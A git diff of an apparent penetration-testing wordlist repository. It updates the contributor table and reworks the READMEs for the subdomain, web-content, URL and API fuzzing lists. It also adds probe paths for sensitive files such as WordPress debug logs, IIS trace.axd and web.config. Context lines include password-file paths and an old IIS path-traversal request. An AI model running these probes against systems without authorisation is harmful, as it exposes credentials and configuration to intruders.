+<img width='50' src='https://avatars.githubusercontent.com/u/7976421?v=4'/><br />[vah13](https://api.github.com/users/vah13) | <img width='50' src='https://avatars.githubusercontent.com/u/37404408?v=4'/><br />[zerodaywolf](https://api.github.com/users/zerodaywolf) | <img width='50' src='https://avatars.githubusercontent.com/u/2480809?v=4'/><br />[0x90shell](https://api.github.com/users/0x90shell) | <img width='50' src='https://avatars.githubusercontent.com/u/35916197?v=4'/><br />[waawaa](https://api.github.com/users/waawaa) | <img width='50' src='https://avatars.githubusercontent.com/u/7240045?v=4'/><br />[zevlag](https://api.github.com/users/zevlag) |
+<img width='50' src='https://avatars.githubusercontent.com/u/50943770?v=4'/><br />[dotan3](https://api.github.com/users/dotan3) | <img width='50' src='https://avatars.githubusercontent.com/u/1926764?v=4'/><br />[espreto](https://api.github.com/users/espreto) | <img width='50' src='https://avatars.githubusercontent.com/u/5670236?v=4'/><br />[exploide](https://api.github.com/users/exploide) | <img width='50' src='https://avatars.githubusercontent.com/u/1001883?v=4'/><br />[frite](https://api.github.com/users/frite) | <img width='50' src='https://avatars.githubusercontent.com/u/3603869?v=4'/><br />[guest20](https://api.github.com/users/guest20) |
+<img width='50' src='https://avatars.githubusercontent.com/u/18548727?v=4'/><br />[giper45](https://api.github.com/users/giper45) | <img width='50' src='https://avatars.githubusercontent.com/u/36943324?v=4'/><br />[han0x7300](https://api.github.com/users/han0x7300) | <img width='50' src='https://avatars.githubusercontent.com/u/8108116?v=4'/><br />[henry701](https://api.github.com/users/henry701) | <img width='50' src='https://avatars.githubusercontent.com/u/1073222?v=4'/><br />[hhc0null](https://api.github.com/users/hhc0null) | <img width='50' src='https://avatars.githubusercontent.com/u/43813075?v=4'/><br />[hitericcow](https://api.github.com/users/hitericcow) |
+<img width='50' src='https://avatars.githubusercontent.com/u/10952397?v=4'/><br />[ipentest](https://api.github.com/users/ipentest) | <img width='50' src='https://avatars.githubusercontent.com/u/334504?v=4'/><br />[jakobhuss](https://api.github.com/users/jakobhuss) | <img width='50' src='https://avatars.githubusercontent.com/u/4925223?v=4'/><br />[jaweesh](https://api.github.com/users/jaweesh) | <img width='50' src='https://avatars.githubusercontent.com/u/3896884?v=4'/><br />[jhsware](https://api.github.com/users/jhsware) | <img width='50' src='https://avatars.githubusercontent.com/u/37544323?v=4'/><br />[joegoerlich](https://api.github.com/users/joegoerlich) |
 <img width='50' src='https://avatars.githubusercontent.com/u/856417?v=4'/><br />[lukebeer](https://api.github.com/users/lukebeer) | <img width='50' src='https://avatars.githubusercontent.com/u/8407292?v=4'/><br />[0x6c7862](https://api.github.com/users/0x6c7862) | <img width='50' src='https://avatars.githubusercontent.com/u/25317633?v=4'/><br />[m4p0](https://api.github.com/users/m4p0) | <img width='50' src='https://avatars.githubusercontent.com/u/15820228?v=4'/><br />[mathieu-aubin](https://api.github.com/users/mathieu-aubin) | <img width='50' src='https://avatars.githubusercontent.com/u/595806?v=4'/><br />[maxence-schmitt](https://api.github.com/users/maxence-schmitt) |
-<img width='50' src='https://avatars.githubusercontent.com/u/1770039?v=4'/><br />[Floppynator](https://api.github.com/users/Floppynator) | <img width='50' src='https://avatars.githubusercontent.com/u/39310845?v=4'/><br />[ClutchReboot](https://api.github.com/users/ClutchReboot) | <img width='50' src='https://avatars.githubusercontent.com/u/550823?v=4'/><br />[cnotin](https://api.github.com/users/cnotin) | <img width='50' src='https://avatars.githubusercontent.com/u/25722501?v=4'/><br />[CoccodrillooXDS](https://api.github.com/users/CoccodrillooXDS) | <img width='50' src='https://avatars.githubusercontent.com/u/145130284?v=4'/><br />[CodeVIP123](https://api.github.com/users/CodeVIP123) |
-<img width='50' src='https://avatars.githubusercontent.com/u/19563282?v=4'/><br />[lc](https://api.github.com/users/lc) | <img width='50' src='https://avatars.githubusercontent.com/u/50272190?v=4'/><br />[ph4nt0m-py](https://api.github.com/users/ph4nt0m-py) | <img width='50' src='https://avatars.githubusercontent.com/u/17801590?v=4'/><br />[CyDoor](https://api.github.com/users/CyDoor) | <img width='50' src='https://avatars.githubusercontent.com/u/62349500?v=4'/><br />[GovindPalakkal](https://api.github.com/users/GovindPalakkal) | <img width='50' src='https://avatars.githubusercontent.com/u/81271?v=4'/><br />[daehee](https://api.github.com/users/daehee) |
-<img width='50' src='https://avatars.githubusercontent.com/u/34819234?v=4'/><br />[danrneal](https://api.github.com/users/danrneal) | <img width='50' src='https://avatars.githubusercontent.com/u/6136439?v=4'/><br />[DarrenRainey](https://api.github.com/users/DarrenRainey) | <img width='50' src='https://avatars.githubusercontent.com/u/31933655?v=4'/><br />[DmytroKashchuk](https://api.github.com/users/DmytroKashchuk) | <img width='50' src='https://avatars.githubusercontent.com/u/19776?v=4'/><br />[denzuko](https://api.github.com/users/denzuko) | <img width='50' src='https://avatars.githubusercontent.com/u/1646728?v=4'/><br />[spmedia](https://api.github.com/users/spmedia) |
-<img width='50' src='https://avatars.githubusercontent.com/u/2765366?v=4'/><br />[emmanuelgautier](https://api.github.com/users/emmanuelgautier) | <img width='50' src='https://avatars.githubusercontent.com/u/14043035?v=4'/><br />[ErdemOzgen](https://api.github.com/users/ErdemOzgen) | <img width='50' src='https://avatars.githubusercontent.com/u/26867637?v=4'/><br />[ernestask](https://api.github.com/users/ernestask) | <img width='50' src='https://avatars.githubusercontent.com/u/1264369?v=4'/><br />[fiLLLip](https://api.github.com/users/fiLLLip) | <img width='50' src='https://avatars.githubusercontent.com/u/11011688?v=4'/><br />[francisuk1989](https://api.github.com/users/francisuk1989) |
-<img width='50' src='https://avatars.githubusercontent.com/u/19889044?v=4'/><br />[giomke](https://api.github.com/users/giomke) | <img width='50' src='https://avatars.githubusercontent.com/u/28390940?v=4'/><br />[0xalwayslucky](https://api.github.com/users/0xalwayslucky) | <img width='50' src='https://avatars.githubusercontent.com/u/30723680?v=4'/><br />[0verflowme](https://api.github.com/users/0verflowme) | <img width='50' src='https://avatars.githubusercontent.com/u/69147968?v=4'/><br />[DanielAzulayy](https://api.github.com/users/DanielAzulayy) | <img width='50' src='https://avatars.githubusercontent.com/u/31401273?v=4'/><br />[7PH](https://api.github.com/users/7PH) |
-<img width='50' src='https://avatars.githubusercontent.com/u/6898938?v=4'/><br />[AddaxSoft](https://api.github.com/users/AddaxSoft) | <img width='50' src='https://avatars.githubusercontent.com/u/6284204?v=4'/><br />[aancw](https://api.github.com/users/aancw) | <img width='50' src='https://avatars.githubusercontent.com/u/22596574?v=4'/><br />[akatora28](https://api.github.com/users/akatora28) | <img width='50' src='https://avatars.githubusercontent.com/u/4494413?v=4'/><br />[acaetano](https://api.github.com/users/acaetano) | <img width='50' src='https://avatars.githubusercontent.com/u/49078770?v=4'/><br />[jaiswalakshansh](https://api.github.com/users/jaiswalakshansh) |
-<img width='50' src='https://avatars.githubusercontent.com/u/24873615?v=4'/><br />[Zeecka](https://api.github.com/users/Zeecka) | <img width='50' src='https://avatars.githubusercontent.com/u/11361354?v=4'/><br />[TheQmaks](https://api.github.com/users/TheQmaks) | <img width='50' src='https://avatars.githubusercontent.com/u/3776815?v=4'/><br />[xpirt](https://api.github.com/users/xpirt) | <img width='50' src='https://avatars.githubusercontent.com/u/3112309?v=4'/><br />[radarhere](https://api.github.com/users/radarhere) | <img width='50' src='https://avatars.githubusercontent.com/u/11784198?v=4'/><br />[Annihilat0r](https://api.github.com/users/Annihilat0r) |
-<img width='50' src='https://avatars.githubusercontent.com/u/6367812?v=4'/><br />[aguilbau](https://api.github.com/users/aguilbau) | <img width='50' src='https://avatars.githubusercontent.com/u/11555225?v=4'/><br />[Glassware123](https://api.github.com/users/Glassware123) | <img width='50' src='https://avatars.githubusercontent.com/u/43996156?v=4'/><br />[arjunshibu](https://api.github.com/users/arjunshibu) | <img width='50' src='https://avatars.githubusercontent.com/u/26533735?v=4'/><br />[berzerk0](https://api.github.com/users/berzerk0) | <img width='50' src='https://avatars.githubusercontent.com/u/9943367?v=4'/><br />[stoben](https://api.github.com/users/stoben) |
-<img width='50' src='https://avatars.githubusercontent.com/u/147110449?v=4'/><br />[BrandonW6000](https://api.github.com/users/BrandonW6000) | <img width='50' src='https://avatars.githubusercontent.com/u/2964660?v=4'/><br />[caioluders](https://api.github.com/users/caioluders) | <img width='50' src='https://avatars.githubusercontent.com/u/6279092?v=4'/><br />[camercu](https://api.github.com/users/camercu) | <img width='50' src='https://avatars.githubusercontent.com/u/947834?v=4'/><br />[ruevaughn](https://api.github.com/users/ruevaughn) | <img width='50' src='https://avatars.githubusercontent.com/u/8996052?v=4'/><br />[mazen160](https://api.github.com/users/mazen160) |
-<img width='50' src='https://avatars.githubusercontent.com/u/18094815?v=4'/><br />[melardev](https://api.github.com/users/melardev) | <img width='50' src='https://avatars.githubusercontent.com/u/5382437?v=4'/><br />[mbiert](https://api.github.com/users/mbiert) | <img width='50' src='https://avatars.githubusercontent.com/u/304361?v=4'/><br />[michenriksen](https://api.github.com/users/michenriksen) | <img width='50' src='https://avatars.githubusercontent.com/u/1966648?v=4'/><br />[spaze](https://api.github.com/users/spaze) | <img width='50' src='https://avatars.githubusercontent.com/u/18307144?v=4'/><br />[xmagor](https://api.github.com/users/xmagor) |
-<img width='50' src='https://avatars.githubusercontent.com/u/35827815?v=4'/><br />[mrajput7](https://api.github.com/users/mrajput7) | <img width='50' src='https://avatars.githubusercontent.com/u/4193175?v=4'/><br />[MusicGivesMeLife](https://api.github.com/users/MusicGivesMeLife) | <img width='50' src='https://avatars.githubusercontent.com/u/47940898?v=4'/><br />[njmulsqb](https://api.github.com/users/njmulsqb) | <img width='50' src='https://avatars.githubusercontent.com/u/6197998?v=4'/><br />[Natfan](https://api.github.com/users/Natfan) | <img width='50' src='https://avatars.githubusercontent.com/u/11805218?v=4'/><br />[nkakouros](https://api.github.com/users/nkakouros) |
+<img width='50' src='https://avatars.githubusercontent.com/u/30723680?v=4'/><br />[0verflowme](https://api.github.com/users/0verflowme) | <img width='50' src='https://avatars.githubusercontent.com/u/1770039?v=4'/><br />[Floppynator](https://api.github.com/users/Floppynator) | <img width='50' src='https://avatars.githubusercontent.com/u/39310845?v=4'/><br />[ClutchReboot](https://api.github.com/users/ClutchReboot) | <img width='50' src='https://avatars.githubusercontent.com/u/550823?v=4'/><br />[cnotin](https://api.github.com/users/cnotin) | <img width='50' src='https://avatars.githubusercontent.com/u/25722501?v=4'/><br />[CoccodrillooXDS](https://api.github.com/users/CoccodrillooXDS) |
+<img width='50' src='https://avatars.githubusercontent.com/u/145130284?v=4'/><br />[CodeVIP123](https://api.github.com/users/CodeVIP123) | <img width='50' src='https://avatars.githubusercontent.com/u/19563282?v=4'/><br />[lc](https://api.github.com/users/lc) | <img width='50' src='https://avatars.githubusercontent.com/u/50272190?v=4'/><br />[ph4nt0m-py](https://api.github.com/users/ph4nt0m-py) | <img width='50' src='https://avatars.githubusercontent.com/u/17801590?v=4'/><br />[CyDoor](https://api.github.com/users/CyDoor) | <img width='50' src='https://avatars.githubusercontent.com/u/62349500?v=4'/><br />[GovindPalakkal](https://api.github.com/users/GovindPalakkal) |
+<img width='50' src='https://avatars.githubusercontent.com/u/81271?v=4'/><br />[daehee](https://api.github.com/users/daehee) | <img width='50' src='https://avatars.githubusercontent.com/u/34819234?v=4'/><br />[danrneal](https://api.github.com/users/danrneal) | <img width='50' src='https://avatars.githubusercontent.com/u/6136439?v=4'/><br />[DarrenRainey](https://api.github.com/users/DarrenRainey) | <img width='50' src='https://avatars.githubusercontent.com/u/31933655?v=4'/><br />[DmytroKashchuk](https://api.github.com/users/DmytroKashchuk) | <img width='50' src='https://avatars.githubusercontent.com/u/19776?v=4'/><br />[denzuko](https://api.github.com/users/denzuko) |
+<img width='50' src='https://avatars.githubusercontent.com/u/1646728?v=4'/><br />[spmedia](https://api.github.com/users/spmedia) | <img width='50' src='https://avatars.githubusercontent.com/u/2765366?v=4'/><br />[emmanuelgautier](https://api.github.com/users/emmanuelgautier) | <img width='50' src='https://avatars.githubusercontent.com/u/14043035?v=4'/><br />[ErdemOzgen](https://api.github.com/users/ErdemOzgen) | <img width='50' src='https://avatars.githubusercontent.com/u/26867637?v=4'/><br />[ernestask](https://api.github.com/users/ernestask) | <img width='50' src='https://avatars.githubusercontent.com/u/1264369?v=4'/><br />[fiLLLip](https://api.github.com/users/fiLLLip) |
+<img width='50' src='https://avatars.githubusercontent.com/u/11011688?v=4'/><br />[francisuk1989](https://api.github.com/users/francisuk1989) | <img width='50' src='https://avatars.githubusercontent.com/u/40037088?v=4'/><br />[nu11pointer](https://api.github.com/users/nu11pointer) | <img width='50' src='https://avatars.githubusercontent.com/u/74185756?v=4'/><br />[freyxfi](https://api.github.com/users/freyxfi) | <img width='50' src='https://avatars.githubusercontent.com/u/69147968?v=4'/><br />[DanielAzulayy](https://api.github.com/users/DanielAzulayy) | <img width='50' src='https://avatars.githubusercontent.com/u/31401273?v=4'/><br />[7PH](https://api.github.com/users/7PH) |
+<img width='50' src='https://avatars.githubusercontent.com/u/75809682?v=4'/><br />[7h30th3r0n3](https://api.github.com/users/7h30th3r0n3) | <img width='50' src='https://avatars.githubusercontent.com/u/6898938?v=4'/><br />[AddaxSoft](https://api.github.com/users/AddaxSoft) | <img width='50' src='https://avatars.githubusercontent.com/u/6284204?v=4'/><br />[aancw](https://api.github.com/users/aancw) | <img width='50' src='https://avatars.githubusercontent.com/u/22596574?v=4'/><br />[akatora28](https://api.github.com/users/akatora28) | <img width='50' src='https://avatars.githubusercontent.com/u/4494413?v=4'/><br />[acaetano](https://api.github.com/users/acaetano) |
+<img width='50' src='https://avatars.githubusercontent.com/u/49078770?v=4'/><br />[jaiswalakshansh](https://api.github.com/users/jaiswalakshansh) | <img width='50' src='https://avatars.githubusercontent.com/u/24873615?v=4'/><br />[Zeecka](https://api.github.com/users/Zeecka) | <img width='50' src='https://avatars.githubusercontent.com/u/11361354?v=4'/><br />[TheQmaks](https://api.github.com/users/TheQmaks) | <img width='50' src='https://avatars.githubusercontent.com/u/3776815?v=4'/><br />[xpirt](https://api.github.com/users/xpirt) | <img width='50' src='https://avatars.githubusercontent.com/u/3112309?v=4'/><br />[radarhere](https://api.github.com/users/radarhere) |
+<img width='50' src='https://avatars.githubusercontent.com/u/11784198?v=4'/><br />[Annihilat0r](https://api.github.com/users/Annihilat0r) | <img width='50' src='https://avatars.githubusercontent.com/u/6367812?v=4'/><br />[aguilbau](https://api.github.com/users/aguilbau) | <img width='50' src='https://avatars.githubusercontent.com/u/11555225?v=4'/><br />[Glassware123](https://api.github.com/users/Glassware123) | <img width='50' src='https://avatars.githubusercontent.com/u/43996156?v=4'/><br />[arjunshibu](https://api.github.com/users/arjunshibu) | <img width='50' src='https://avatars.githubusercontent.com/u/26533735?v=4'/><br />[berzerk0](https://api.github.com/users/berzerk0) |
+<img width='50' src='https://avatars.githubusercontent.com/u/9943367?v=4'/><br />[stoben](https://api.github.com/users/stoben) | <img width='50' src='https://avatars.githubusercontent.com/u/147110449?v=4'/><br />[BrandonW6000](https://api.github.com/users/BrandonW6000) | <img width='50' src='https://avatars.githubusercontent.com/u/2964660?v=4'/><br />[caioluders](https://api.github.com/users/caioluders) | <img width='50' src='https://avatars.githubusercontent.com/u/6279092?v=4'/><br />[camercu](https://api.github.com/users/camercu) | <img width='50' src='https://avatars.githubusercontent.com/u/947834?v=4'/><br />[ruevaughn](https://api.github.com/users/ruevaughn) |
+<img width='50' src='https://avatars.githubusercontent.com/u/19889044?v=4'/><br />[giomke](https://api.github.com/users/giomke) | <img width='50' src='https://avatars.githubusercontent.com/u/812795?v=4'/><br />[brimstone](https://api.github.com/users/brimstone) | <img width='50' src='https://avatars.githubusercontent.com/u/28390940?v=4'/><br />[0xalwayslucky](https://api.github.com/users/0xalwayslucky) | <img width='50' src='https://avatars.githubusercontent.com/u/8996052?v=4'/><br />[mazen160](https://api.github.com/users/mazen160) | <img width='50' src='https://avatars.githubusercontent.com/u/18094815?v=4'/><br />[melardev](https://api.github.com/users/melardev) |
+<img width='50' src='https://avatars.githubusercontent.com/u/5382437?v=4'/><br />[mbiert](https://api.github.com/users/mbiert) | <img width='50' src='https://avatars.githubusercontent.com/u/304361?v=4'/><br />[michenriksen](https://api.github.com/users/michenriksen) | <img width='50' src='https://avatars.githubusercontent.com/u/1966648?v=4'/><br />[spaze](https://api.github.com/users/spaze) | <img width='50' src='https://avatars.githubusercontent.com/u/18307144?v=4'/><br />[xmagor](https://api.github.com/users/xmagor) | <img width='50' src='https://avatars.githubusercontent.com/u/35827815?v=4'/><br />[mrajput7](https://api.github.com/users/mrajput7) |
 <img width='50' src='https://avatars.githubusercontent.com/u/1519209?v=4'/><br />[ngkogkos](https://api.github.com/users/ngkogkos) | <img width='50' src='https://avatars.githubusercontent.com/u/64668046?v=4'/><br />[strayfade](https://api.github.com/users/strayfade) | <img width='50' src='https://avatars.githubusercontent.com/u/46971268?v=4'/><br />[DeveloperOl](https://api.github.com/users/DeveloperOl) | <img width='50' src='https://avatars.githubusercontent.com/u/4268373?v=4'/><br />[0xfalafel](https://api.github.com/users/0xfalafel) | <img width='50' src='https://avatars.githubusercontent.com/u/28601533?v=4'/><br />[parthmalhotra](https://api.github.com/users/parthmalhotra) |
-<img width='50' src='https://avatars.githubusercontent.com/u/26464774?v=4'/><br />[FLX-0x00](https://api.github.com/users/FLX-0x00) | <img width='50' src='https://avatars.githubusercontent.com/u/679144?v=4'/><br />[Prinzhorn](https://api.github.com/users/Prinzhorn) | <img width='50' src='https://avatars.githubusercontent.com/u/84059138?v=4'/><br />[RAOdotSH](https://api.github.com/users/RAOdotSH) | <img width='50' src='https://avatars.githubusercontent.com/u/29900840?v=4'/><br />[renanhsilva](https://api.github.com/users/renanhsilva) | <img width='50' src='https://avatars.githubusercontent.com/u/6748242?v=4'/><br />[riramar](https://api.github.com/users/riramar) |
+<img width='50' src='https://avatars.githubusercontent.com/u/26464774?v=4'/><br />[FLX-0x00](https://api.github.com/users/FLX-0x00) | <img width='50' src='https://avatars.githubusercontent.com/u/44565442?v=4'/><br />[PhHitachi](https://api.github.com/users/PhHitachi) | <img width='50' src='https://avatars.githubusercontent.com/u/679144?v=4'/><br />[Prinzhorn](https://api.github.com/users/Prinzhorn) | <img width='50' src='https://avatars.githubusercontent.com/u/84059138?v=4'/><br />[RAOdotSH](https://api.github.com/users/RAOdotSH) | <img width='50' src='https://avatars.githubusercontent.com/u/29900840?v=4'/><br />[renanhsilva](https://api.github.com/users/renanhsilva) |
 <img width='50' src='https://avatars.githubusercontent.com/u/60477737?v=4'/><br />[GraoMelo](https://api.github.com/users/GraoMelo) | <img width='50' src='https://avatars.githubusercontent.com/u/10110093?v=4'/><br />[hectorgrecco](https://api.github.com/users/hectorgrecco) | <img width='50' src='https://avatars.githubusercontent.com/u/127512?v=4'/><br />[craSH](https://api.github.com/users/craSH) | <img width='50' src='https://avatars.githubusercontent.com/u/1165242?v=4'/><br />[ilyaglow](https://api.github.com/users/ilyaglow) | <img width='50' src='https://avatars.githubusercontent.com/u/3500664?v=4'/><br />[IndiNijhof](https://api.github.com/users/IndiNijhof) |
 <img width='50' src='https://avatars.githubusercontent.com/u/39941993?v=4'/><br />[0xInfection](https://api.github.com/users/0xInfection) | <img width='50' src='https://avatars.githubusercontent.com/u/35937483?v=4'/><br />[ivan-sincek](https://api.github.com/users/ivan-sincek) | <img width='50' src='https://avatars.githubusercontent.com/u/3799709?v=4'/><br />[jakecraige](https://api.github.com/users/jakecraige) | <img width='50' src='https://avatars.githubusercontent.com/u/859420?v=4'/><br />[vortexau](https://api.github.com/users/vortexau) | <img width='50' src='https://avatars.githubusercontent.com/u/281523?v=4'/><br />[JensTimmerman](https://api.github.com/users/JensTimmerman) |
-<img width='50' src='https://avatars.githubusercontent.com/u/86168235?v=4'/><br />[Xhoenix](https://api.github.com/users/Xhoenix) | <img width='50' src='https://avatars.githubusercontent.com/u/1040997?v=4'/><br />[0xjams](https://api.github.com/users/0xjams) | <img width='50' src='https://avatars.githubusercontent.com/u/37518297?v=4'/><br />[qurbat](https://api.github.com/users/qurbat) | <img width='50' src='https://avatars.githubusercontent.com/u/3689108?v=4'/><br />[khicks](https://api.github.com/users/khicks) | <img width='50' src='https://avatars.githubusercontent.com/u/1233067?v=4'/><br />[kazet](https://api.github.com/users/kazet) |
-<img width='50' src='https://avatars.githubusercontent.com/u/64550669?v=4'/><br />[LethargicLeprechaun](https://api.github.com/users/LethargicLeprechaun) | <img width='50' src='https://avatars.githubusercontent.com/u/1522389?v=4'/><br />[stuntguy3000](https://api.github.com/users/stuntguy3000) | <img width='50' src='https://avatars.githubusercontent.com/u/6770124?v=4'/><br />[Paradoxis](https://api.github.com/users/Paradoxis) | <img width='50' src='https://avatars.githubusercontent.com/u/66968346?v=4'/><br />[Pri3st](https://api.github.com/users/Pri3st) | <img width='50' src='https://avatars.githubusercontent.com/u/13625919?v=4'/><br />[chokeee](https://api.github.com/users/chokeee) |
+<img width='50' src='https://avatars.githubusercontent.com/u/86168235?v=4'/><br />[Xhoenix](https://api.github.com/users/Xhoenix) | <img width='50' src='https://avatars.githubusercontent.com/u/38989133?v=4'/><br />[Dec0y-jb](https://api.github.com/users/Dec0y-jb) | <img width='50' src='https://avatars.githubusercontent.com/u/1040997?v=4'/><br />[0xjams](https://api.github.com/users/0xjams) | <img width='50' src='https://avatars.githubusercontent.com/u/37518297?v=4'/><br />[qurbat](https://api.github.com/users/qurbat) | <img width='50' src='https://avatars.githubusercontent.com/u/3689108?v=4'/><br />[khicks](https://api.github.com/users/khicks) |
+<img width='50' src='https://avatars.githubusercontent.com/u/1233067?v=4'/><br />[kazet](https://api.github.com/users/kazet) | <img width='50' src='https://avatars.githubusercontent.com/u/64550669?v=4'/><br />[LethargicLeprechaun](https://api.github.com/users/LethargicLeprechaun) | <img width='50' src='https://avatars.githubusercontent.com/u/1522389?v=4'/><br />[stuntguy3000](https://api.github.com/users/stuntguy3000) | <img width='50' src='https://avatars.githubusercontent.com/u/6770124?v=4'/><br />[Paradoxis](https://api.github.com/users/Paradoxis) | <img width='50' src='https://avatars.githubusercontent.com/u/66968346?v=4'/><br />[Pri3st](https://api.github.com/users/Pri3st) |
 <img width='50' src='https://avatars.githubusercontent.com/u/53723675?v=4'/><br />[martin40701](https://api.github.com/users/martin40701) | <img width='50' src='https://avatars.githubusercontent.com/u/812795?v=4'/><br />[brimstone](https://api.github.com/users/brimstone) |
 <!-- /TABLE-AUTO-GENERATED -->

Discovery/DNS/README.md

@@ -1,13 +1,29 @@
-## combined_subdomains
+# DNS discovery wordlists
 
+## combined_subdomains.txt
+
+### Overview
 This wordlist is a combination of the following wordlists with a few subdomains added:
 - bitquark-subdomains-top100000.txt
 - shubs-subdomains.txt
 - subdomains-top1million-110000.txt
 
-## `subdomains-top1million-*`
+### Usage
+Use for: discovering subdomains
 
-> [!WARNING]
-> These wordlists are several years old, they were made in 2015. You will not be able to detect deployments of any services which were invented after 2015 using these wordlists, because their names will not be on the lists.
+### Source
+This list is automatically updated by a GitHub action whenever any of the lists it's composed by is modified.
 
-These wordlists were [zone-transfered from Amazon's Alexa.com](https://gist.github.com/ethicalhack3r/6145925) in 2015. They are lists of the most used subdomains at the time, as reported by Alexa.com.
+## subdomains-top1million-110000.txt
+
+### Overview
+These wordlists were [zone-transferred from Amazon's Alexa.com](https://gist.github.com/ethicalhack3r/6145925) in 2015. They are lists of the most used subdomains at the time, as reported by Alexa.com.
+
+### Usage
+Use for: discovering subdomains
+
+### Source
+Source: https://gist.github.com/ethicalhack3r/6145925
+
+### References
+- [Zone Transfer from Alexa.com](https://gist.github.com/ethicalhack3r/6145925)

Discovery/DNS/n0kovo_subdomains.txt

@@ -107631,6 +107631,7 @@ n7
 n6
 mzr
 mywallet
+mywalletv1
 mypromos
 myombox
 myformations

Discovery/Web-Content/CMS/wordpress.fuzz.txt

@@ -580,6 +580,7 @@ wp-config-sample.php
 wp-config.php
 wp-config.php.stage
 wp-content/
+wp-content/debug.log
 wp-content/index.php
 wp-content/plugins/
 wp-content/plugins/akismet/

Discovery/Web-Content/IIS.fuzz.txt

@@ -164,6 +164,7 @@ system/
 system_web/
 test/
 tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=goatfart+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2goatfart.html&newdb=CREA
+trace.axd
 tsweb/
 vc30
 _fpclass/
@@ -187,9 +188,11 @@ _vti_pvt/authors.pwd
 _vti_pvt/service.pwd
 _vti_pvt/shtml.exe
 _vti_pvt/users.pwd
+_vti_inf.html
 _vti_script
 _vti_txt
 web/
+web.config
 _WEB_INF/
 WEB-INF/web.xml
 WebSer~1

Discovery/Web-Content/README.md

@@ -2,11 +2,8 @@
 
 ## combined_words.txt
 
-Use for: discovering files    
-This list is automatically updated by a github action whenever any of the lists it's composed by is modified.
-
+### Overview
 This list is a combination of the following wordlists:
-
 - big.txt
 - common.txt
 - raft-large-words-lowercase.txt
@@ -16,12 +13,15 @@ This list is a combination of the following wordlists:
 - raft-small-words-lowercase.txt
 - raft-small-words.txt
 
+### Usage
+Use for: discovering files
+
+### Source
+This list is automatically updated by a GitHub action whenever any of the lists it's composed by is modified.
 
 ## combined_directories.txt
 
-Use for: discovering files and directories    
-This list is automatically updated by a github action whenever any of the lists it's composed by is modified.
-
+### Overview
 This list is a combination of the following wordlists:
 - apache.txt
 - combined_words.txt
@@ -35,21 +35,36 @@ This list is a combination of the following wordlists:
 - raft-medium-directories.txt
 - raft-small-directories-lowercase.txt
 - raft-small-directories.txt
+- common_directories.txt
+
+### Usage
+Use for: discovering files and directories
+
+### Source
+This list is automatically updated by a GitHub action whenever any of the lists it's composed by is modified.
 
 ## dsstorewordlist.txt
 
-SOURCE: https://github.com/aels/subdirectories-discover
-
+### Overview
 Perfect wordlist to discover directories and files on target site with tools like ffuf.
+
+### Usage
+Use for: discovering directories and files
+
+### Source
+Source: https://github.com/aels/subdirectories-discover
+
+### References
 - It was collected by parsing Alexa top-million sites for **.DS_Store** files (https://en.wikipedia.org/wiki/.DS_Store), extracting all the found files, and then extracting found file and directory names from around 300k real websites.
 - Then sorted by probability and removed strings with one occurrence.
 - resulted file you can download is below. Happy Hunting!
 
 ## vulnerability-scan_j2ee-websites_WEB-INF.txt
+
+### Overview
 Use for: discovering sensitive j2ee files exploiting a lfi
 
-References: 
-    
+### References
 - https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3
 - https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/generic/generic-j2ee-lfi.yaml
 - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java

Discovery/Web-Content/URLs/README.md

@@ -1 +1,55 @@
-The URLs directory will hold numerous lists of URLs for common systems that one may attack, e.g. WordPress, Drupal, etc. These lists can be passed through an intercepting proxy in order to populate a site tree with whitebox-like knowledge.
+# URLs Wordlist
+
+A wordlist of URLs for common systems that one may attack, e.g. WordPress, Drupal, etc.
+
+## urls-Drupal-7.20.txt
+
+### Overview
+This file contains URLs for Drupal 7.20.
+
+### Usage
+Use for: populating a site tree with whitebox-like knowledge
+
+### Source
+Source: Collected from various sources
+
+## urls-joomla-3.0.3.txt
+
+### Overview
+This file contains URLs for Joomla 3.0.3.
+
+### Usage
+Use for: populating a site tree with whitebox-like knowledge
+
+### Source
+Source: Collected from various sources
+
+## urls-SAP.txt
+
+### Overview
+This file contains URLs for SAP.
+
+### Usage
+Use for: populating a site tree with whitebox-like knowledge
+
+### Source
+Source: Collected from various sources
+
+## urls-wordpress-3.3.1.txt
+
+### Overview
+This file contains URLs for WordPress 3.3.1.
+
+### Usage
+Use for: populating a site tree with whitebox-like knowledge
+
+### Source
+Source: Collected from various sources
+
+## Usage Instructions
+
+1. Download the desired URL wordlist file.
+2. Use an intercepting proxy (e.g., Burp Suite) to pass the URLs through and populate a site tree with whitebox-like knowledge.
+3. Analyze the site tree to identify potential vulnerabilities and attack vectors.
+
+

Discovery/Web-Content/api/README.md

@@ -1,24 +1,105 @@
-# api_wordlist
+# API Wordlist
+
 A wordlist of API names used for fuzzing web application APIs.
 
-## Contents
-* api_seen_in_wild.txt - This contains API function names I've seen in the wild.
-* actions.txt - All API function name verbs
-* objects.txt - All API function name nouns
-* actions-uppercase.txt - API function name verbs with leading character upper-case
-* actions-lowercase.txt - API function name verbs with leading character lower-case
-* objects-uppercase.txt - API function name nouns with leading character upper-case
-* objects-lowercase.txt - API function name nouns with leading character lower-case
-* api-endpoints-res.txt - Combination of all of the files above
+## api_seen_in_wild.txt
 
-## Usage
- 1. In burpsuite, send an API request you want to fuzz to Intruder. 
+### Overview
+This file contains API function names that have been observed in the wild.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## actions.txt
+
+### Overview
+This file contains all API function name verbs.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## objects.txt
+
+### Overview
+This file contains all API function name nouns.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## actions-uppercase.txt
+
+### Overview
+This file contains API function name verbs with the leading character in upper-case.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## actions-lowercase.txt
+
+### Overview
+This file contains API function name verbs with the leading character in lower-case.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## objects-uppercase.txt
+
+### Overview
+This file contains API function name nouns with the leading character in upper-case.
+
+### Usage
+Use for: fuzzing web application APIs
+
+### Source
+Source: Collected from various sources
+
+## objects-lowercase.txt
+
+### Overview
+This file contains API function name nouns with the leading character in lower-case.
+
+### Usage
+Use for: fuzzing web application APIs
+
